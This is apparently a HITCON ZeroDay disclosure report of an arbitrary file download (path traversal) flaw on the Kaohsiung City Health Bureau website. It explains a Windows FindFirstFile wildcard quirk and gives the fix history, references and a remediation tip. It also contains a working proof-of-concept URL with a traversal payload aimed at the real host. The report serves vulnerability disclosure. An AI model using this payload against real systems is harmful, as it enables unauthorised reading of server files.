高雄市政府衛生局 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00962
  •  發信 Vendor: 政府衛生局
  • Title: 高雄市政府衛生局
  • Introduction: 任意檔案下載

處理狀態

目前狀態

公開
Last Update : 2019/11/01
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2019/09/01 22:41:43 : 新提交 (由 mary_see_the_bug 更新此狀態)
  • 2019/09/01 22:42:38 : 新提交 (由 mary_see_the_bug 更新此狀態)
  • 2019/09/01 22:44:19 : 新提交 (由 mary_see_the_bug 更新此狀態)
  • 2019/09/01 22:47:18 : 新提交 (由 mary_see_the_bug 更新此狀態)
  • 2019/09/01 22:49:16 : 新提交 (由 mary_see_the_bug 更新此狀態)
  • 2019/09/02 11:23:12 : 新提交 (由 mary_see_the_bug 更新此狀態)
  • 2019/09/02 23:50:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/03 23:38:49 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/03 23:38:49 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/09/03 23:38:49 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/11/01 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00962
  • 通報者:bbbbohman (mary_see_the_bug)
  • 風險:中
  • 類型:任意檔案下載 (Arbitrary File Download)

參考資料

攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html

OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://khd.kcg.gov.tw/module/download.php?file=

敘述

漏洞主要是因為在windows 平台上 任何調用 WIN32API 裡的 FindFirstFile 的程式碼都會把
(<)換成 *
(>) 換成 ?
(") 換成 .
剛好這個主機是Windows :D
POC:
http://khd.kcg.gov.tw/module/download.php?file=../upload/news/../../module/download%22php

修補建議

該程式碼存取檔案的方式應該變成檔案對應序號的方式 讓攻擊者猜不到路徑

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;